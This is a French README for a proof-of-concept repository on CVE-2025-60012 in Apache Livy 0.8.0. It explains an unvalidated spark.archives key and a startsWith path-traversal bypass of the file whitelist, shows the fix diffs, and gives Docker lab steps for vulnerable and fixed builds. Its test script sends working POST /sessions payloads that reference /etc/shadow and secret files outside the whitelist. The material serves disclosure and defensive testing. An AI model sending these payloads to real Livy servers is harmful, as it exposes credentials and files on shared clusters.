
Un POC pour la vulnérabilité d'accès non autorisé aux fichiers d'Apache Livy
À des fins éducatives et de recherche en sécurité uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester. → Avertissement complet
Un utilisateur authentifié ayant accès à l'interface REST ou JDBC de Livy peut soumettre une session Spark ou un job batch avec des valeurs de configuration malveillantes. Deux faiblesses combinées permettent à l'attaquant de référencer des fichiers du système de fichiers local en dehors des chemins autorisés :
Absence de validation pour spark.archives — Spark 3.1 a introduit spark.archives comme un moyen unifié de distribuer des fichiers d'archive sur tous les gestionnaires de cluster. La liste codée en dur de Livy 0.8.0 des clés de configuration qui sont validées par chemin (HARDCODED_SPARK_FILE_LISTS) n'inclut pas spark.archives. Un chemin passé via cette clé n'est donc jamais vérifié par rapport à la liste blanche du système de fichiers local (livy.file.local-dir-whitelist), permettant à un attaquant de référencer n'importe quel fichier local.
Contournement de traversée de chemin dans la vérification de la liste blanche — Même pour les clés de configuration qui SONT validées, la comparaison de la liste blanche dans Livy 0.8.0 utilise un simple appel startsWith de chaîne Java sur le chemin brut. Un attaquant peut contourner cela en utilisant une traversée de chemin : /whitelisted/dir/../../etc/passwd passe la vérification de chaîne mais se résout en dehors du répertoire autorisé.
LivyConf.scalaVulnérable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Corrigé (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scalaVulnérable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Corrigé (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Les deux versions ont été clonées directement depuis le dépôt GitHub officiel d'Apache Livy dans cet espace de travail en utilisant les commandes exactes suivantes :
Dépôt : https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| Version | Tag | Resolved commit | Local path |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## Diffs exacts du code
Les diffs ont été produits en clonant les deux tags localement (voir ci-dessus) et en exécutant :```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives ajouté à la liste de fichiers codée en dur```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**Impact de l'entrée manquante dans v0.8.0 :**
Lorsqu'un utilisateur soumet une session avec `conf: {"spark.archives": "file:///etc/passwd"}`, Livy
0.8.0 n'appelle jamais `resolveURIs()` sur cette valeur et ne la vérifie jamais par rapport à
`livy.file.local-dir-whitelist`. Le chemin est transmis à Spark sans validation.
---
### Correctif 2 — `Session.scala` : Normalisation du chemin avant la vérification de la liste blanche```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
Impact dans v0.8.0:
La vérification de chaîne brute startsWith peut être contournée avec une charge utile de traversée de chemin.
Exemple : si `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (contourné)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (bloqué)
## Résumé des vecteurs d'attaque```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
Toutes les étapes de cette PoC ont été exécutées et validées sur le système suivant :
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## Preuve de concept
### Vue d'ensemble```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Séquence complète de bout en bout — suivez les étapes 1 à 4 dans l'ordre :``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **Note :** Livy nécessite environ 15 à 20 secondes pour être prêt après `docker run`.
> Toutes les étapes ci-dessous incluent un `sleep 20` explicite avant tout appel API.
---
### Étape 1 — Créer et démarrer l'environnement vulnérable (Livy 0.8.0 + Spark 3.1.3)
**Fichiers :**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — écoute sur `0.0.0.0:8998`, mode local, whitelist = `/opt/safe-data`
**1a. Créer l'image :**
```bash
docker build -t livy-vuln-env docker/vulnerable
``````bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
Valider — l'image a été créée:```bash docker images cve-2025-60012-vulnerable
Résultat attendu :```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
1b. Démarrer le conteneur:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**Valider — le conteneur est en cours d'exécution :**```bash
docker ps --filter name=livy-vulnerable
Résultat attendu :``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**1c. Attendez que Livy démarre, puis vérifiez l'API REST :**
> Livy nécessite environ 15 à 20 secondes pour s'initialiser avant de répondre aux requêtes.```bash
sleep 20
curl -s http://localhost:8998/sessions
Sortie attendue :```json {"from":0,"total":0,"sessions":[]}
---
**1d. Valider la disposition des répertoires à l'intérieur du conteneur :**
Confirmer que le fichier sûr autorisé existe :```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Résultat attendu :``` This file lives inside the whitelisted directory.
Confirmez que le fichier sensible cible existe en dehors de la liste blanche :```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Sortie attendue :``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!
---
### Étape 2 — Exécuter la validation contre l'environnement vulnérable
> Le conteneur vulnérable de l'étape 1 doit toujours être en cours d'exécution sur le port 8998.
**Ce que `test/validate.sh` teste :**
| # | Attaque | Clé de payload | Résultat attendu sur Livy 0.8.0 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` absent de `HARDCODED_SPARK_FILE_LISTS` dans `LivyConf.scala` | `spark.archives` | HTTP 201 — chemin accepté non validé |
| 2 | Traversée de chemin via `String.startsWith()` dans `Session.scala` | `spark.jars` avec traversée `../` | HTTP 201 — la traversée contourne la liste blanche |
**2a. Exécuter le script :**```bash
bash test/validate.sh
Sortie attendue :``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
**2b. Arrêter et supprimer le conteneur vulnérable :**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
Valider — le conteneur est complètement supprimé :```bash docker ps -a --filter name=livy-vulnerable
Résultat attendu (vide — aucune ligne) :```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Fichiers:
docker/fixed/Dockerfile — image de base identique et Spark 3.1.3, seule la version de Livy passe à 0.9.0docker/fixed/livy.conf — identique à docker/vulnerable/livy.conf (même liste blanche, port, mode)Conserver Spark, l'image de base et toute la configuration identiques à l'étape 1 isole Livy comme la seule variable.
3a. Construire l'image:```bash docker build -t cve-2025-60012-fixed docker/fixed/
**Valider — l'image a été créée:**```bash
docker images cve-2025-60012-fixed
Sortie attendue :``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest
---
**3b. Démarrer le conteneur:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
Valider — le conteneur est en cours d'exécution:```bash docker ps --filter name=livy-fixed
Résultat attendu :```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
3c. Attendez que Livy démarre, puis vérifiez l'API REST:```bash sleep 20 curl -s http://localhost:8998/sessions
Sortie attendue:```json
{"from":0,"total":0,"sessions":[]}
Le conteneur corrigé de l'étape 3 doit être en cours d'exécution sur le port 8998. Le script est identique — aucun changement.
Ce qui change entre l'étape 2 et l'étape 4 :
spark.archives via HARDCODED_SPARK_FILE_LISTSPaths.get().normalize() avant la vérification de la liste blanche4a. Exécuter le script :```bash bash test/validate.sh
> **Remarque :** `validate.sh` fonctionne comme suit :
> 1. Il interroge `GET /sessions` jusqu'à ce que Livy réponde (jusqu'à 60 secondes), confirmant que le serveur est prêt.
> 2. Pour chaque attaque, il envoie une requête `POST /sessions` via `curl` avec une charge utile `conf` conçue pour cibler un fichier en dehors de la liste blanche (`/opt/sensitive/secret.txt`).
> 3. Il lit le code de réponse HTTP : **201** signifie que Livy a accepté le chemin sans validation (vulnérable) ; **400** signifie que Livy l'a rejeté lors de la vérification de la liste blanche (corrigé).
> 4. Si une session a été créée (HTTP 201), le script la supprime immédiatement via `DELETE /sessions/{id}` pour garder le serveur propre.
> 5. Après les deux tests, il affiche un résumé et se termine avec le code **1** (vulnérable) ou **0** (corrigé), ce qui le rend approprié pour une utilisation dans des pipelines automatisés.
**Sortie attendue :**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
RESULT: FIXED — exit code 0
Ce que confirment les messages d'erreur :
4b. Arrêter et supprimer le conteneur fixé :```bash docker stop livy-fixed && docker rm livy-fixed
**Valider — le conteneur est complètement supprimé :**```bash
docker ps -a --filter name=livy-fixed
Résultat attendu (vide — aucune ligne):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
## Inférence
CVE-2025-60012 montre qu’une vulnérabilité ne nécessite pas toujours de contourner un contrôle de sécurité — il suffit parfois de trouver un chemin qui n’a jamais été orienté vers ce contrôle en premier lieu.
La liste blanche (`livy.file.local-dir-whitelist`) existait à la fois dans Livy 0.8.0 et 0.9.0 et était correctement configurée dans les deux environnements. Les échecs se situaient en amont de celle-ci :
1. **Absence d’enregistrement (Attaque 1) :** `spark.archives` a été introduit dans Spark 3.1 comme un remplacement agnostique du gestionnaire de cluster pour `spark.yarn.dist.archives`. La liste interne des clés de configuration dont les chemins sont soumis à la vérification de la liste blanche dans Livy (`HARDCODED_SPARK_FILE_LISTS` dans `LivyConf.scala`) n’a jamais été mise à jour pour l’inclure. Tout chemin passé via `spark.archives` était donc transmis à Spark sans aucune validation. La liste blanche n’était jamais consultée.
2. **Défaut logique dans la vérification elle-même (Attaque 2) :** Pour les clés qui étaient enregistrées, la comparaison avec la liste blanche dans `Session.scala` utilisait la méthode `String.startsWith()` de Java sur la chaîne brute du chemin. Cela est insuffisant pour les comparaisons de chemins de système de fichiers car cela ne tient pas compte des traversées `..`. Un chemin tel que `/opt/safe-data/../sensitive/secret.txt` satisfait la vérification de chaîne par rapport à l’entrée de liste blanche `/opt/safe-data`, mais résout en un emplacement totalement extérieur à celle-ci.
Prises ensemble, ces deux faiblesses signifient qu’un utilisateur authentifié — sans privilèges spéciaux autres que l’accès à l’interface REST ou JDBC de Livy — pouvait référencer des fichiers locaux arbitraires sur l’hôte du serveur Livy. Dans un cluster d’analyse partagé, cela se traduit par une exposition potentielle d’identifiants, de clés, de fichiers de configuration ou de toute donnée lisible par le processus utilisateur Livy.
Le correctif dans la version 0.9.0 est minimal et ciblé : une ligne ajoutée à `HARDCODED_SPARK_FILE_LISTS` (comblant le manque d’enregistrement) et un appel à `Paths.get().normalize()` ajouté avant la comparaison avec la liste blanche (comblant le contournement par traversée). Aucune des modifications n’a modifié la liste blanche elle-même, confirmant que la liste blanche n’a jamais été le problème — le problème était que le code qui l’alimentait était incomplet et imprécis.
**Point clé pour les défenseurs :** Lorsque Livy est déployé avec Spark 3.1 ou version ultérieure, la mise à niveau vers Livy 0.9.0-incubating est la seule correction complète. Le simple renforcement de `livy.file.local-dir-whitelist` n’est pas suffisant contre l’Attaque 1, car les chemins soumis via `spark.archives` contournent entièrement cette vérification dans les versions vulnérables.
## Références
- NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- Divulgation OSS-Sec : http://www.openwall.com/lists/oss-security/2026/03/12/1
- Liste de diffusion Apache : https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Projet Apache Livy : https://livy.apache.org/
## Remerciements
- **Furue Hideyuki** — rapporteur original de CVE-2025-60012 auprès de l’équipe sécurité Apache.
- **Mainteneurs d’Apache Livy** — pour le tri rapide et le correctif ciblé dans v0.9.0-incubating.
- **Équipe sécurité Apache** — pour la coordination du processus de divulgation responsable.
- **Communauté OSS-Sec** — pour le fil de divulgation publique qui a permis une analyse indépendante.
## Contribution
Les contributions visant à améliorer cette preuve de concept ou la documentation sont les bienvenues ! Veuillez vous assurer que toute contribution :
- Respecte les pratiques de divulgation responsable
- Inclut les avertissements appropriés
- Ne contient pas de code malveillant au‑delà de la démonstration pédagogique
- Maintient l’accent sur la valeur éducative
Pour contribuer, ouvrez une pull request ou signalez un problème décrivant le changement proposé.
## Licence
Ce projet est sous licence [MIT](https://github.com/sid6224/cve-2025-60012-poc/blob/HEAD/LICENSE).
## Avertissement
Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité. La preuve de concept
démontre les mécanismes de la vulnérabilité pour faciliter la compréhension et les mesures défensives. Ne
l’utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n’avez pas d’autorisation écrite explicite de test.
## Tags
`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`
| Champ | Détail |
|---|
| CVE ID | CVE-2025-60012 |
| Sévérité | Moyenne (CVSS 6.3) |
| Affecté | Apache Livy 0.7.0-incubating, 0.8.0-incubating — lorsqu'il est connecté à Apache Spark 3.1 ou ultérieur |
| Corrigé dans | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: Validation d'entrée incorrecte |
| Divulgué | 2026-03-13 |
| Signaleur | Furue Hideyuki |
| Composant | Détail |
|---|
| OS hôte | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Noyau | 6.17.0-14-generic x86_64 |
| Architecture | x86_64 |
| Mémoire totale | 15.49 GiB |
| Moteur Docker | 28.2.2 |
| JDK hôte | OpenJDK 17.0.18 (utilisé uniquement par l'hôte — les conteneurs utilisent eclipse-temurin:11-jdk-focal) |
| Image de base du conteneur | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Version Spark (les deux images) | 3.1.3 with Hadoop 3.2 |
| Version Livy — image vulnérable | 0.8.0-incubating (Scala 2.12 build) |
| Version Livy — image corrigée | 0.9.0-incubating (Scala 2.12 build) |
| Attaque | HTTP | Message d'erreur | Cause racine corrigée |
|---|
1 — spark.archives | 400 | Local path /opt/sensitive/secret.txt cannot be added to user sessions. | spark.archives ajouté à HARDCODED_SPARK_FILE_LISTS dans LivyConf.scala ; le chemin passe désormais par la vérification de la liste blanche de resolveURI() |
| 2 — traversée de chemin | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() ajouté dans Session.scala ; résout ../ avant la comparaison de la liste blanche |